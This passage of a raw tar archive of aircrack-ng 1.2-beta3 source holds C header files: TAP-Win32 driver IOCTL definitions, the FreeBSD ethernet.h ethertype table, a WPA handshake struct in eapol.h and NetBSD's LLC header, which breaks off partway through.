rootrootaircrack-ng-1.2-beta3/src/osdep/tap-win32/common.h0000644000000000000000000000641510761053203020320 0ustar rootroot/* * TAP-Win32 -- A kernel driver to provide virtual tap device functionality * on Windows. Originally derived from the CIPE-Win32 * project by Damion K. Wilson, with extensive modifications by * James Yonan. * * All source code which derives from the CIPE-Win32 project is * Copyright (C) Damion K. Wilson, 2003, and is released under the * GPL version 2 (see below). * * All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC, * and is released under the GPL version 2 (see below). * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program (see the file COPYING included with this * distribution); if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ //=============================================== // This file is included both by OpenVPN and // the TAP-Win32 driver and contains definitions // common to both. //=============================================== //============= // TAP IOCTLs //============= #define TAP_CONTROL_CODE(request,method) \ CTL_CODE (FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS) // Present in 8.1 #define TAP_IOCTL_GET_MAC TAP_CONTROL_CODE (1, METHOD_BUFFERED) #define TAP_IOCTL_GET_VERSION TAP_CONTROL_CODE (2, METHOD_BUFFERED) #define TAP_IOCTL_GET_MTU TAP_CONTROL_CODE (3, METHOD_BUFFERED) #define TAP_IOCTL_GET_INFO TAP_CONTROL_CODE (4, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE (5, METHOD_BUFFERED) #define TAP_IOCTL_SET_MEDIA_STATUS TAP_CONTROL_CODE (6, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_MASQ TAP_CONTROL_CODE (7, METHOD_BUFFERED) #define TAP_IOCTL_GET_LOG_LINE TAP_CONTROL_CODE (8, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_SET_OPT TAP_CONTROL_CODE (9, METHOD_BUFFERED) // Added in 8.2 /* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */ #define TAP_IOCTL_CONFIG_TUN TAP_CONTROL_CODE (10, METHOD_BUFFERED) //================= // Registry keys //================= #define ADAPTER_KEY "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" #define NETWORK_CONNECTIONS_KEY "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}" //====================== // Filesystem prefixes //====================== #define USERMODEDEVICEDIR "\\\\.\\Global\\" #define SYSDEVICEDIR "\\Device\\" #define USERDEVICEDIR "\\DosDevices\\Global\\" #define TAPSUFFIX ".tap" //========================================================= // TAP_COMPONENT_ID -- This string defines the TAP driver // type -- different component IDs can reside in the system // simultaneously. //========================================================= #define TAP_COMPONENT_ID "tap0801" aircrack-ng-1.2-beta3/src/include/0000755000000000000000000000000012316431261015440 5ustar rootrootaircrack-ng-1.2-beta3/src/include/ethernet.h0000644000000000000000000004623510761053203017437 0ustar rootroot/* * Fundamental constants relating to ethernet. * * $FreeBSD: src/sys/net/ethernet.h,v 1.30 2007/03/07 12:51:52 bms Exp $ * */ #ifndef _NET_ETHERNET_H_ #define _NET_ETHERNET_H_ /* * Somce basic Ethernet constants. */ #define ETHER_ADDR_LEN 6 /* length of an Ethernet address */ #define ETHER_TYPE_LEN 2 /* length of the Ethernet type field */ #define ETHER_CRC_LEN 4 /* length of the Ethernet CRC */ #define ETHER_HDR_LEN (ETHER_ADDR_LEN*2+ETHER_TYPE_LEN) #define ETHER_MIN_LEN 64 /* minimum frame len, including CRC */ #define ETHER_MAX_LEN 1518 /* maximum frame len, including CRC */ #define ETHER_MAX_LEN_JUMBO 9018 /* max jumbo frame len, including CRC */ #define ETHER_VLAN_ENCAP_LEN 4 /* len of 802.1Q VLAN encapsulation */ /* * Mbuf adjust factor to force 32-bit alignment of IP header. * Drivers should do m_adj(m, ETHER_ALIGN) when setting up a * receive so the upper layers get the IP header properly aligned * past the 14-byte Ethernet header. */ #define ETHER_ALIGN 2 /* driver adjust for IP hdr alignment */ /* * Compute the maximum frame size based on ethertype (i.e. possible * encapsulation) and whether or not an FCS is present. */ #define ETHER_MAX_FRAME(ifp, etype, hasfcs) \ ((ifp)->if_mtu + ETHER_HDR_LEN + \ ((hasfcs) ? ETHER_CRC_LEN : 0) + \ (((etype) == ETHERTYPE_VLAN) ? ETHER_VLAN_ENCAP_LEN : 0)) /* * Ethernet-specific mbuf flags. */ #define M_HASFCS M_PROTO5 /* FCS included at end of frame */ /* * Ethernet CRC32 polynomials (big- and little-endian verions). */ #define ETHER_CRC_POLY_LE 0xedb88320 #define ETHER_CRC_POLY_BE 0x04c11db6 /* * A macro to validate a length with */ #define ETHER_IS_VALID_LEN(foo) \ ((foo) >= ETHER_MIN_LEN && (foo) <= ETHER_MAX_LEN) /* * Structure of a 10Mb/s Ethernet header. */ struct ether_header { u_char ether_dhost[ETHER_ADDR_LEN]; u_char ether_shost[ETHER_ADDR_LEN]; u_short ether_type; } __packed; /* * Structure of a 48-bit Ethernet address. */ struct ether_addr { u_char octet[ETHER_ADDR_LEN]; } __packed; #ifdef CTASSERT CTASSERT(sizeof (struct ether_header) == ETHER_ADDR_LEN * 2 + 2); CTASSERT(sizeof (struct ether_addr) == ETHER_ADDR_LEN); #endif #define ETHER_IS_MULTICAST(addr) (*(addr) & 0x01) /* is address mcast/bcast? */ /* * NOTE: 0x0000-0x05DC (0..1500) are generally IEEE 802.3 length fields. * However, there are some conflicts. */ #define ETHERTYPE_8023 0x0004 /* IEEE 802.3 packet */ /* 0x0101 .. 0x1FF Experimental */ #define ETHERTYPE_PUP 0x0200 /* Xerox PUP protocol - see 0A00 */ #define ETHERTYPE_PUPAT 0x0200 /* PUP Address Translation - see 0A01 */ #define ETHERTYPE_SPRITE 0x0500 /* ??? */ /* 0x0400 Nixdorf */ #define ETHERTYPE_NS 0x0600 /* XNS */ #define ETHERTYPE_NSAT 0x0601 /* XNS Address Translation (3Mb only) */ #define ETHERTYPE_DLOG1 0x0660 /* DLOG (?) */ #define ETHERTYPE_DLOG2 0x0661 /* DLOG (?) */ #define ETHERTYPE_IP 0x0800 /* IP protocol */ #define ETHERTYPE_X75 0x0801 /* X.75 Internet */ #define ETHERTYPE_NBS 0x0802 /* NBS Internet */ #define ETHERTYPE_ECMA 0x0803 /* ECMA Internet */ #define ETHERTYPE_CHAOS 0x0804 /* CHAOSnet */ #define ETHERTYPE_X25 0x0805 /* X.25 Level 3 */ #define ETHERTYPE_ARP 0x0806 /* Address resolution protocol */ #define ETHERTYPE_NSCOMPAT 0x0807 /* XNS Compatibility */ #define ETHERTYPE_FRARP 0x0808 /* Frame Relay ARP (RFC1701) */ /* 0x081C Symbolics Private */ /* 0x0888 - 0x088A Xyplex */ #define ETHERTYPE_UBDEBUG 0x0900 /* Ungermann-Bass network debugger */ #define ETHERTYPE_IEEEPUP 0x0A00 /* Xerox IEEE802.3 PUP */ #define ETHERTYPE_IEEEPUPAT 0x0A01 /* Xerox IEEE802.3 PUP Address Translation */ #define ETHERTYPE_VINES 0x0BAD /* Banyan VINES */ #define ETHERTYPE_VINESLOOP 0x0BAE /* Banyan VINES Loopback */ #define ETHERTYPE_VINESECHO 0x0BAF /* Banyan VINES Echo */ /* 0x1000 - 0x100F Berkeley Trailer */ /* * The ETHERTYPE_NTRAILER packet types starting at ETHERTYPE_TRAIL have * (type-ETHERTYPE_TRAIL)*512 bytes of data followed * by an ETHER type (as given above) and then the (variable-length) header. */ #define ETHERTYPE_TRAIL 0x1000 /* Trailer packet */ #define ETHERTYPE_NTRAILER 16 #define ETHERTYPE_DCA 0x1234 /* DCA - Multicast */ #define ETHERTYPE_VALID 0x1600 /* VALID system protocol */ #define ETHERTYPE_DOGFIGHT 0x1989 /* Artificial Horizons ("Aviator" dogfight simulator [on Sun]) */ #define ETHERTYPE_RCL 0x1995 /* Datapoint Corporation (RCL lan protocol) */ /* The following 3C0x types are unregistered: */ #define ETHERTYPE_NBPVCD 0x3C00 /* 3Com NBP virtual circuit datagram (like XNS SPP) not registered */ #define ETHERTYPE_NBPSCD 0x3C01 /* 3Com NBP System control datagram not registered */ #define ETHERTYPE_NBPCREQ 0x3C02 /* 3Com NBP Connect request (virtual cct) not registered */ #define ETHERTYPE_NBPCRSP 0x3C03 /* 3Com NBP Connect repsonse not registered */ #define ETHERTYPE_NBPCC 0x3C04 /* 3Com NBP Connect complete not registered */ #define ETHERTYPE_NBPCLREQ 0x3C05 /* 3Com NBP Close request (virtual cct) not registered */ #define ETHERTYPE_NBPCLRSP 0x3C06 /* 3Com NBP Close response not registered */ #define ETHERTYPE_NBPDG 0x3C07 /* 3Com NBP Datagram (like XNS IDP) not registered */ #define ETHERTYPE_NBPDGB 0x3C08 /* 3Com NBP Datagram broadcast not registered */ #define ETHERTYPE_NBPCLAIM 0x3C09 /* 3Com NBP Claim NetBIOS name not registered */ #define ETHERTYPE_NBPDLTE 0x3C0A /* 3Com NBP Delete Netbios name not registered */ #define ETHERTYPE_NBPRAS 0x3C0B /* 3Com NBP Remote adaptor status request not registered */ #define ETHERTYPE_NBPRAR 0x3C0C /* 3Com NBP Remote adaptor response not registered */ #define ETHERTYPE_NBPRST 0x3C0D /* 3Com NBP Reset not registered */ #define ETHERTYPE_PCS 0x4242 /* PCS Basic Block Protocol */ #define ETHERTYPE_IMLBLDIAG 0x424C /* Information Modes Little Big LAN diagnostic */ #define ETHERTYPE_DIDDLE 0x4321 /* THD - Diddle */ #define ETHERTYPE_IMLBL 0x4C42 /* Information Modes Little Big LAN */ #define ETHERTYPE_SIMNET 0x5208 /* BBN Simnet Private */ #define ETHERTYPE_DECEXPER 0x6000 /* DEC Unassigned, experimental */ #define ETHERTYPE_MOPDL 0x6001 /* DEC MOP dump/load */ #define ETHERTYPE_MOPRC 0x6002 /* DEC MOP remote console */ #define ETHERTYPE_DECnet 0x6003 /* DEC DECNET Phase IV route */ #define ETHERTYPE_DN ETHERTYPE_DECnet /* libpcap, tcpdump */ #define ETHERTYPE_LAT 0x6004 /* DEC LAT */ #define ETHERTYPE_DECDIAG 0x6005 /* DEC diagnostic protocol (at interface initialization?) */ #define ETHERTYPE_DECCUST 0x6006 /* DEC customer protocol */ #define ETHERTYPE_SCA 0x6007 /* DEC LAVC, SCA */ #define ETHERTYPE_AMBER 0x6008 /* DEC AMBER */ #define ETHERTYPE_DECMUMPS 0x6009 /* DEC MUMPS */ /* 0x6010 - 0x6014 3Com Corporation */ #define ETHERTYPE_TRANSETHER 0x6558 /* Trans Ether Bridging (RFC1701)*/ #define ETHERTYPE_RAWFR 0x6559 /* Raw Frame Relay (RFC1701) */ #define ETHERTYPE_UBDL 0x7000 /* Ungermann-Bass download */ #define ETHERTYPE_UBNIU 0x7001 /* Ungermann-Bass NIUs */ #define ETHERTYPE_UBDIAGLOOP 0x7002 /* Ungermann-Bass diagnostic/loopback */ #define ETHERTYPE_UBNMC 0x7003 /* Ungermann-Bass ??? (NMC to/from UB Bridge) */ #define ETHERTYPE_UBBST 0x7005 /* Ungermann-Bass Bridge Spanning Tree */ #define ETHERTYPE_OS9 0x7007 /* OS/9 Microware */ #define ETHERTYPE_OS9NET 0x7009 /* OS/9 Net? */ /* 0x7020 - 0x7029 LRT (England) (now Sintrom) */ #define ETHERTYPE_RACAL 0x7030 /* Racal-Interlan */ #define ETHERTYPE_PRIMENTS 0x7031 /* Prime NTS (Network Terminal Service) */ #define ETHERTYPE_CABLETRON 0x7034 /* Cabletron */ #define ETHERTYPE_CRONUSVLN 0x8003 /* Cronus VLN */ #define ETHERTYPE_CRONUS 0x8004 /* Cronus Direct */ #define ETHERTYPE_HP 0x8005 /* HP Probe */ #define ETHERTYPE_NESTAR 0x8006 /* Nestar */ #define ETHERTYPE_ATTSTANFORD 0x8008 /* AT&T/Stanford (local use) */ #define ETHERTYPE_EXCELAN 0x8010 /* Excelan */ #define ETHERTYPE_SG_DIAG 0x8013 /* SGI diagnostic type */ #define ETHERTYPE_SG_NETGAMES 0x8014 /* SGI network games */ #define ETHERTYPE_SG_RESV 0x8015 /* SGI reserved type */ #define ETHERTYPE_SG_BOUNCE 0x8016 /* SGI bounce server */ #define ETHERTYPE_APOLLODOMAIN 0x8019 /* Apollo DOMAIN */ #define ETHERTYPE_TYMSHARE 0x802E /* Tymeshare */ #define ETHERTYPE_TIGAN 0x802F /* Tigan, Inc. */ #define ETHERTYPE_REVARP 0x8035 /* Reverse addr resolution protocol */ #define ETHERTYPE_AEONIC 0x8036 /* Aeonic Systems */ #define ETHERTYPE_IPXNEW 0x8037 /* IPX (Novell Netware?) */ #define ETHERTYPE_LANBRIDGE 0x8038 /* DEC LANBridge */ #define ETHERTYPE_DSMD 0x8039 /* DEC DSM/DDP */ #define ETHERTYPE_ARGONAUT 0x803A /* DEC Argonaut Console */ #define ETHERTYPE_VAXELN 0x803B /* DEC VAXELN */ #define ETHERTYPE_DECDNS 0x803C /* DEC DNS Naming Service */ #define ETHERTYPE_ENCRYPT 0x803D /* DEC Ethernet Encryption */ #define ETHERTYPE_DECDTS 0x803E /* DEC Distributed Time Service */ #define ETHERTYPE_DECLTM 0x803F /* DEC LAN Traffic Monitor */ #define ETHERTYPE_DECNETBIOS 0x8040 /* DEC PATHWORKS DECnet NETBIOS Emulation */ #define ETHERTYPE_DECLAST 0x8041 /* DEC Local Area System Transport */ /* 0x8042 DEC Unassigned */ #define ETHERTYPE_PLANNING 0x8044 /* Planning Research Corp. */ /* 0x8046 - 0x8047 AT&T */ #define ETHERTYPE_DECAM 0x8048 /* DEC Availability Manager for Distributed Systems DECamds (but someone at DEC says not) */ #define ETHERTYPE_EXPERDATA 0x8049 /* ExperData */ #define ETHERTYPE_VEXP 0x805B /* Stanford V Kernel exp. */ #define ETHERTYPE_VPROD 0x805C /* Stanford V Kernel prod. */ #define ETHERTYPE_ES 0x805D /* Evans & Sutherland */ #define ETHERTYPE_LITTLE 0x8060 /* Little Machines */ #define ETHERTYPE_COUNTERPOINT 0x8062 /* Counterpoint Computers */ /* 0x8065 - 0x8066 Univ. of Mass @ Amherst */ #define ETHERTYPE_VEECO 0x8067 /* Veeco Integrated Auto. */ #define ETHERTYPE_GENDYN 0x8068 /* General Dynamics */ #define ETHERTYPE_ATT 0x8069 /* AT&T */ #define ETHERTYPE_AUTOPHON 0x806A /* Autophon */ #define ETHERTYPE_COMDESIGN 0x806C /* ComDesign */ #define ETHERTYPE_COMPUGRAPHIC 0x806D /* Compugraphic Corporation */ /* 0x806E - 0x8077 Landmark Graphics Corp. */ #define ETHERTYPE_MATRA 0x807A /* Matra */ #define ETHERTYPE_DDE 0x807B /* Dansk Data Elektronik */ #define ETHERTYPE_MERIT 0x807C /* Merit Internodal (or Univ of Michigan?) */ /* 0x807D - 0x807F Vitalink Communications */ #define ETHERTYPE_VLTLMAN 0x8080 /* Vitalink TransLAN III Management */ /* 0x8081 - 0x8083 Counterpoint Computers */ /* 0x8088 - 0x808A Xyplex */ #define ETHERTYPE_ATALK 0x809B /* AppleTalk */ #define ETHERTYPE_AT ETHERTYPE_ATALK /* old NetBSD */ #define ETHERTYPE_APPLETALK ETHERTYPE_ATALK /* HP-UX */ /* 0x809C - 0x809E Datability */ #define ETHERTYPE_SPIDER 0x809F /* Spider Systems Ltd. */ /* 0x80A3 Nixdorf */ /* 0x80A4 - 0x80B3 Siemens Gammasonics Inc. */ /* 0x80C0 - 0x80C3 DCA (Digital Comm. Assoc.) Data Exchange Cluster */ /* 0x80C4 - 0x80C5 Banyan Systems */ #define ETHERTYPE_PACER 0x80C6 /* Pacer Software */ #define ETHERTYPE_APPLITEK 0x80C7 /* Applitek Corporation */ /* 0x80C8 - 0x80CC Intergraph Corporation */ /* 0x80CD - 0x80CE Harris Corporation */ /* 0x80CF - 0x80D2 Taylor Instrument */ /* 0x80D3 - 0x80D4 Rosemount Corporation */ #define ETHERTYPE_SNA 0x80D5 /* IBM SNA Services over Ethernet */ #define ETHERTYPE_VARIAN 0x80DD /* Varian Associates */ /* 0x80DE - 0x80DF TRFS (Integrated Solutions Transparent Remote File System) */ /* 0x80E0 - 0x80E3 Allen-Bradley */ /* 0x80E4 - 0x80F0 Datability */ #define ETHERTYPE_RETIX 0x80F2 /* Retix */ #define ETHERTYPE_AARP 0x80F3 /* AppleTalk AARP */ /* 0x80F4 - 0x80F5 Kinetics */ #define ETHERTYPE_APOLLO 0x80F7 /* Apollo Computer */ #define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging (XXX conflicts) */ /* 0x80FF - 0x8101 Wellfleet Communications (XXX conflicts) */ #define ETHERTYPE_BOFL 0x8102 /* Wellfleet; BOFL (Breath OF Life) pkts [every 5-10 secs.] */ #define ETHERTYPE_WELLFLEET 0x8103 /* Wellfleet Communications */ /* 0x8107 - 0x8109 Symbolics Private */ #define ETHERTYPE_TALARIS 0x812B /* Talaris */ #define ETHERTYPE_WATERLOO 0x8130 /* Waterloo Microsystems Inc. (XXX which?) */ #define ETHERTYPE_HAYES 0x8130 /* Hayes Microcomputers (XXX which?) */ #define ETHERTYPE_VGLAB 0x8131 /* VG Laboratory Systems */ /* 0x8132 - 0x8137 Bridge Communications */ #define ETHERTYPE_IPX 0x8137 /* Novell (old) NetWare IPX (ECONFIG E option) */ #define ETHERTYPE_NOVELL 0x8138 /* Novell, Inc. */ /* 0x8139 - 0x813D KTI */ #define ETHERTYPE_MUMPS 0x813F /* M/MUMPS data sharing */ #define ETHERTYPE_AMOEBA 0x8145 /* Vrije Universiteit (NL) Amoeba 4 RPC (obsolete) */ #define ETHERTYPE_FLIP 0x8146 /* Vrije Universiteit (NL) FLIP (Fast Local Internet Protocol) */ #define ETHERTYPE_VURESERVED 0x8147 /* Vrije Universiteit (NL) [reserved] */ #define ETHERTYPE_LOGICRAFT 0x8148 /* Logicraft */ #define ETHERTYPE_NCD 0x8149 /* Network Computing Devices */ #define ETHERTYPE_ALPHA 0x814A /* Alpha Micro */ #define ETHERTYPE_SNMP 0x814C /* SNMP over Ethernet (see RFC1089) */ /* 0x814D - 0x814E BIIN */ #define ETHERTYPE_TEC 0x814F /* Technically Elite Concepts */ #define ETHERTYPE_RATIONAL 0x8150 /* Rational Corp */ /* 0x8151 - 0x8153 Qualcomm */ /* 0x815C - 0x815E Computer Protocol Pty Ltd */ /* 0x8164 - 0x8166 Charles River Data Systems */ #define ETHERTYPE_XTP 0x817D /* Protocol Engines XTP */ #define ETHERTYPE_SGITW 0x817E /* SGI/Time Warner prop. */ #define ETHERTYPE_HIPPI_FP 0x8180 /* HIPPI-FP encapsulation */ #define ETHERTYPE_STP 0x8181 /* Scheduled Transfer STP, HIPPI-ST */ /* 0x8182 - 0x8183 Reserved for HIPPI-6400 */ /* 0x8184 - 0x818C SGI prop. */ #define ETHERTYPE_MOTOROLA 0x818D /* Motorola */ #define ETHERTYPE_NETBEUI 0x8191 /* PowerLAN NetBIOS/NetBEUI (PC) */ /* 0x819A - 0x81A3 RAD Network Devices */ /* 0x81B7 - 0x81B9 Xyplex */ /* 0x81CC - 0x81D5 Apricot Computers */ /* 0x81D6 - 0x81DD Artisoft Lantastic */ /* 0x81E6 - 0x81EF Polygon */ /* 0x81F0 - 0x81F2 Comsat Labs */ /* 0x81F3 - 0x81F5 SAIC */ /* 0x81F6 - 0x81F8 VG Analytical */ /* 0x8203 - 0x8205 QNX Software Systems Ltd. */ /* 0x8221 - 0x8222 Ascom Banking Systems */ /* 0x823E - 0x8240 Advanced Encryption Systems */ /* 0x8263 - 0x826A Charles River Data Systems */ /* 0x827F - 0x8282 Athena Programming */ /* 0x829A - 0x829B Inst Ind Info Tech */ /* 0x829C - 0x82AB Taurus Controls */ /* 0x82AC - 0x8693 Walker Richer & Quinn */ #define ETHERTYPE_ACCTON 0x8390 /* Accton Technologies (unregistered) */ #define ETHERTYPE_TALARISMC 0x852B /* Talaris multicast */ #define ETHERTYPE_KALPANA 0x8582 /* Kalpana */ /* 0x8694 - 0x869D Idea Courier */ /* 0x869E - 0x86A1 Computer Network Tech */ /* 0x86A3 - 0x86AC Gateway Communications */ #define ETHERTYPE_SECTRA 0x86DB /* SECTRA */ #define ETHERTYPE_IPV6 0x86DD /* IP protocol version 6 */ #define ETHERTYPE_DELTACON 0x86DE /* Delta Controls */ #define ETHERTYPE_ATOMIC 0x86DF /* ATOMIC */ /* 0x86E0 - 0x86EF Landis & Gyr Powers */ /* 0x8700 - 0x8710 Motorola */ #define ETHERTYPE_RDP 0x8739 /* Control Technology Inc. RDP Without IP */ #define ETHERTYPE_MICP 0x873A /* Control Technology Inc. Mcast Industrial Ctrl Proto. */ /* 0x873B - 0x873C Control Technology Inc. Proprietary */ #define ETHERTYPE_TCPCOMP 0x876B /* TCP/IP Compression (RFC1701) */ #define ETHERTYPE_IPAS 0x876C /* IP Autonomous Systems (RFC1701) */ #define ETHERTYPE_SECUREDATA 0x876D /* Secure Data (RFC1701) */ #define ETHERTYPE_FLOWCONTROL 0x8808 /* 802.3x flow control packet */ #define ETHERTYPE_SLOW 0x8809 /* 802.3ad link aggregation (LACP) */ #define ETHERTYPE_PPP 0x880B /* PPP (obsolete by PPPOE) */ #define ETHERTYPE_HITACHI 0x8820 /* Hitachi Cable (Optoelectronic Systems Laboratory) */ #define ETHERTYPE_MPLS 0x8847 /* MPLS Unicast */ #define ETHERTYPE_MPLS_MCAST 0x8848 /* MPLS Multicast */ #define ETHERTYPE_AXIS 0x8856 /* Axis Communications AB proprietary bootstrap/config */ #define ETHERTYPE_PPPOEDISC 0x8863 /* PPP Over Ethernet Discovery Stage */ #define ETHERTYPE_PPPOE 0x8864 /* PPP Over Ethernet Session Stage */ #define ETHERTYPE_LANPROBE 0x8888 /* HP LanProbe test? */ #define ETHERTYPE_PAE 0x888e /* EAPOL PAE/802.1x */ #define ETHERTYPE_LOOPBACK 0x9000 /* Loopback: used to test interfaces */ #define ETHERTYPE_LBACK ETHERTYPE_LOOPBACK /* DEC MOP loopback */ #define ETHERTYPE_XNSSM 0x9001 /* 3Com (Formerly Bridge Communications), XNS Systems Management */ #define ETHERTYPE_TCPSM 0x9002 /* 3Com (Formerly Bridge Communications), TCP/IP Systems Management */ #define ETHERTYPE_BCLOOP 0x9003 /* 3Com (Formerly Bridge Communications), loopback detection */ #define ETHERTYPE_DEBNI 0xAAAA /* DECNET? Used by VAX 6220 DEBNI */ #define ETHERTYPE_SONIX 0xFAF5 /* Sonix Arpeggio */ #define ETHERTYPE_VITAL 0xFF00 /* BBN VITAL-LanBridge cache wakeups */ /* 0xFF00 - 0xFFOF ISC Bunker Ramo */ #define ETHERTYPE_MAX 0xFFFF /* Maximum valid ethernet type, reserved */ /* * The ETHERTYPE_NTRAILER packet types starting at ETHERTYPE_TRAIL have * (type-ETHERTYPE_TRAIL)*512 bytes of data followed * by an ETHER type (as given above) and then the (variable-length) header. */ #define ETHERTYPE_TRAIL 0x1000 /* Trailer packet */ #define ETHERTYPE_NTRAILER 16 #define ETHERMTU (ETHER_MAX_LEN-ETHER_HDR_LEN-ETHER_CRC_LEN) #define ETHERMIN (ETHER_MIN_LEN-ETHER_HDR_LEN-ETHER_CRC_LEN) #define ETHERMTU_JUMBO (ETHER_MAX_LEN_JUMBO - ETHER_HDR_LEN - ETHER_CRC_LEN) /* * The ETHER_BPF_MTAP macro should be used by drivers which support hardware * offload for VLAN tag processing. It will check the mbuf to see if it has * M_VLANTAG set, and if it does, will pass the packet along to * ether_vlan_mtap. This function will re-insert VLAN tags for the duration * of the tap, so they show up properly for network analyzers. */ #define ETHER_BPF_MTAP(_ifp, _m) do { \ if (bpf_peers_present((_ifp)->if_bpf)) { \ M_ASSERTVALID(_m); \ if (((_m)->m_flags & M_VLANTAG) != 0) \ ether_vlan_mtap((_ifp)->if_bpf, (_m), NULL, 0); \ else \ bpf_mtap((_ifp)->if_bpf, (_m)); \ } \ } while (0) #ifdef _KERNEL struct ifnet; struct mbuf; struct rtentry; struct sockaddr; struct bpf_if; extern uint32_t ether_crc32_le(const uint8_t *, size_t); extern uint32_t ether_crc32_be(const uint8_t *, size_t); extern void ether_demux(struct ifnet *, struct mbuf *); extern void ether_ifattach(struct ifnet *, const u_int8_t *); extern void ether_ifdetach(struct ifnet *); extern int ether_ioctl(struct ifnet *, int, caddr_t); extern int ether_output(struct ifnet *, struct mbuf *, struct sockaddr *, struct rtentry *); extern int ether_output_frame(struct ifnet *, struct mbuf *); extern char *ether_sprintf(const u_int8_t *); void ether_vlan_mtap(struct bpf_if *, struct mbuf *, void *, u_int); #else /* _KERNEL */ #include /* * Ethernet address conversion/parsing routines. */ __BEGIN_DECLS struct ether_addr *ether_aton(const char *); int ether_hostton(const char *, struct ether_addr *); int ether_line(const char *, struct ether_addr *, char *); char *ether_ntoa(const struct ether_addr *); int ether_ntohost(char *, const struct ether_addr *); __END_DECLS #endif /* !_KERNEL */ #endif /* !_NET_ETHERNET_H_ */ aircrack-ng-1.2-beta3/src/include/eapol.h0000644000000000000000000000107012313366617016720 0ustar rootroot#ifndef _NET_EAPOL_H_ #define _NET_EAPOL_H_ #include struct WPA_hdsk { uint8_t stmac[6]; /* supplicant MAC */ uint8_t snonce[32]; /* supplicant nonce */ uint8_t anonce[32]; /* authenticator nonce */ uint8_t keymic[16]; /* eapol frame MIC */ uint8_t eapol[256]; /* eapol frame contents */ uint32_t eapol_size; /* eapol frame size */ uint8_t keyver; /* key version (TKIP / AES) */ uint8_t state; /* handshake completion */ }; #endif // _NET_EAPOL_H_ aircrack-ng-1.2-beta3/src/include/if_llc.h0000644000000000000000000001105410761053203017040 0ustar rootroot/* $NetBSD: if_llc.h,v 1.12 1999/11/19 20:41:19 thorpej Exp $ */ /*- * Copyright (c) 1988, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_llc.h 8.1 (Berkeley) 6/10/93 * $FreeBSD: src/sys/net/if_llc.h,v 1.13 2006/12/01 17:50:11 imp Exp $ */ #ifndef _NET_IF_LLC_H_ #define _NET_IF_LLC_H_ /* * IEEE 802.2 Link Level Control headers, for use in conjunction with * 802.{3,4,5} media access control methods. * * Headers here do not use bit fields due to shortcommings in many * compilers. */ struct llc { u_int8_t llc_dsap; u_int8_t llc_ssap; union { struct { u_int8_t control; u_int8_t format_id; u_int8_t class; u_int8_t window_x2; } __packed type_u; struct { u_int8_t num_snd_x2; u_int8_t num_rcv_x2; } __packed type_i; struct { u_int8_t control; u_int8_t num_rcv_x2; } __packed type_s; struct { u_int8_t control; /* * We cannot put the following fields in a structure because * the structure rounding might cause padding. */ u_int8_t frmr_rej_pdu0; u_int8_t frmr_rej_pdu1; u_int8_t frmr_control; u_int8_t frmr_control_ext; u_int8_t frmr_cause; } __packed type_frmr; struct { u_int8_t control; u_int8_t org_code[3]; u_int16_t ether_type; } __packed type_snap; struct { u_int8_t control; u_int8_t control_ext; } __packed type_raw; } __packed llc_un; } __packed; struct frmrinfo { u_int8_t frmr_rej_pdu0; u_int8_t frmr_rej_pdu1; u_int8_t frmr_control; u_int8_t frmr_control_ext; u_int8_t frmr_cause; } __packed; #define llc_control llc_un.type_u.control #define llc_control_ext llc_un.type_raw.control_ext #define llc_fid llc_un.type_u.format_id #define llc_class llc_un.type_u.class #define llc_window llc_un.type_u.window_x2 #define llc_frmrinfo llc_un.type_frmr.frmr_rej_pdu0 #define llc_frmr_pdu0 llc_un.type_frmr.frmr_rej_pdu0 #define llc_frmr_pdu1 llc_un.type_frmr.frmr_rej_pdu1 #define llc_frmr_control llc_un.type_frmr.frmr_control #define llc_frmr_control_ext llc_un.type_frmr.frmr_control_ext #define llc_frmr_cause llc_un.type_frmr.frmr_cause #define llc_snap llc_un.type_snap /* * Don't use sizeof(struct llc_un) for LLC header sizes */ #define LLC_ISFRAMELEN 4 #define LLC_UFRAMELEN 3 #define LLC_FRMRLEN 7 #define LLC_SNAPFRAMELEN 8 #ifdef CTASSERT CTASSERT(sizeof (struct llc) == LLC_SNAPFRAMELEN); #endif /* * Unnumbered LLC format commands */ #define LLC_UI 0x3 #define LLC_UI_P 0x13 #define LLC_DISC 0x43 